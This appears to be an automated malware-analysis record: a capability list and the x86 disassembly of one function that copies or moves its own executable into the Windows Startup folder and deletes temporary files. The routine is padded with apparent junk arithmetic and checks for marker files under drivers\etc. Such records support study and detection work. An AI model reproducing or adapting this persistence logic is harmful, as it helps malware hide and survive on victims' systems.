Function at 0x40b450
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov ecx, dword [0x456820]
mov dword [esp + 0x300], eax
push esi
mov esi, dword [0x45682c]
imul esi, esi, 0x344
mov eax, 0x30c30c31
imul ecx
imul ecx, ecx, 0x257
mov eax, dword [0x456830]
imul eax, eax, 0x16a
sar edx, 7
add esi, edx
push edi
mov edi, edx
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45681c]
add edi, eax
mov eax, 0xf2b9d649
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x456828]
mov eax, 0x4c8f8d29
imul ecx
sar edx, 8
mov esi, ecx
mov eax, edx
imul esi, esi, 0x358
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub esi, eax
mov eax, 0x30c30c31
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x36b45a9b
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x244
sub esi, ecx
add esi, edx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45682c], edi
mov dword [0x456834], esi
call fcn.0042a86d
add esp, 8
cmp eax, 0xffffffff
je 0x40b925
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a86d
add esp, 8
cmp eax, 0xffffffff
je 0x40b925
mov ecx, dword [0x456834]
mov esi, dword [0x456818]
mov eax, 0x9cc8e161
imul esi, esi, 0x344
imul ecx
mov eax, dword [0x456830]
add edx, ecx
imul eax, eax, 0x257
sar edx, 9
add esi, edx
mov edi, edx
mov edx, dword [0x456820]
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x2d4279a3
imul edx
sar edx, 6
mov esi, edx
add edi, edx
mov eax, 0xf2b9d649
imul ecx
add edx, ecx
sar edx, 7
push ebx
mov ecx, edx
push ebp
shr ecx, 0x1f
add ecx, edx
shr esi, 0x1f
push 0x104
lea edx, [esp + 0x214]
add esi, edi
push edx
sub esi, ecx
push 0
mov dword [0x456818], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.0042b2e0
push str..tmp
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042a4d1
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x30c30c31
imul edi, edi, 0x2a0
imul ecx
mov ecx, dword [0x456820]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x43491159
imul ecx
mov ebp, dword [0x456834]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x87
sub edi, ecx
add esp, 0x18
add edi, edx
push 0
sub edi, ebp
sub edi, 0x344
push 0x18
lea eax, [esp + 0x118]
mov dword [0x456820], edi
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b680
sub eax, ecx
push esi
lea ecx, [esp + eax + 0x114]
push 0x44722c
push ecx
call fcn.0042a4d1
mov edi, dword [0x456824]
mov esi, dword [0x456838]
mov eax, 0x4c8f8d29
imul edi
sar edx, 8
mov ebx, esi
imul ebx, ebx, 0xfffffcbc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xe7fc601
imul esi
sar edx, 5
add ebx, edx
mov ecx, edx
mov eax, 0x99d722db
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45681c]
imul edx, edx, 0x244
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub ecx, eax
add ecx, edx
add esp, 0xc
mov dword [0x456828], ecx
xor esi, esi
jmp 0x40b720
mov ecx, dword [0x456828]
mov edi, dword [0x456824]
jmp 0x40b720
mov ebp, dword [0x45682c]
imul ecx, ecx, 0x16a
imul edi, edi, 0x4e
mov eax, 0xbcb6eea7
imul ebp, ebp, 0x344
imul dword [0x45681c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebp
add eax, ecx
lea ecx, [esp + 0x10]
sub eax, edi
push 0
push ecx
mov dword [0x456830], eax
call fcn.0042a86d
add esp, 8
cmp eax, 0xffffffff
je 0x40b776
lea edx, [esp + 0x10]
push edx
call ebx
inc esi
cmp esi, 0x64
jl 0x40b70c
mov ecx, dword [0x45682c]
mov eax, 0xe1fc780f
imul ecx
add edx, ecx
mov esi, dword [0x456834]
sar edx, 9
imul esi, esi, 0x344
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x2d4279a3
imul dword [str._r_____r____]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
imul edx, edx, 0x1ae
sub ecx, esi
mov esi, dword [esp + 0x318]
sub ecx, eax
sub ecx, edx
test esi, esi
pop ebp
mov dword [0x456838], ecx
pop ebx
je 0x40b7e0
cmp esi, 2
jne 0x40b897
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x10c]
push eax
lea ecx, [esp + 0x10]
push ecx
call edi
test eax, eax
jne 0x40b891
mov ecx, dword [0x456824]
mov eax, 0x4c8f8d29
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456838]
imul edx, edx, 0x235
sub esi, ecx
mov ecx, dword [0x45681c]
add esi, edx
mov eax, 0x36b45a9b
imul ecx
mov ecx, dword [0x456830]
sar edx, 7
imul ecx, ecx, 0x1aa
mov eax, edx
shr eax, 0x1f
add eax, edx
push 6
sub esi, eax
lea edx, [esp + 0x10c]
push edx
lea eax, [esp + 0x10]
add esi, ecx
push eax
mov dword [str._r_____r____], esi
call edi
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a301
add esp, 0x304
ret
mov ecx, dword [0x456838]
mov eax, 0x4c8f8d29
imul ecx
imul ecx, ecx, 0x235
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x45681c]
mov eax, 0xe1fc780f
imul ecx
add edx, ecx
sar edx, 9
add edi, edx
mov ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x1aa
shr ecx, 0x1f
add ecx, edi
mov edi, dword [str._r_____r____]
add ecx, edx
sub ecx, edi
add ecx, 0x1e7
cmp esi, 1
mov dword [0x45681c], ecx
je 0x40b8f9
cmp esi, 2
jne 0x40b90e
push 0
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a301
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.0042a301
add esp, 0x304
ret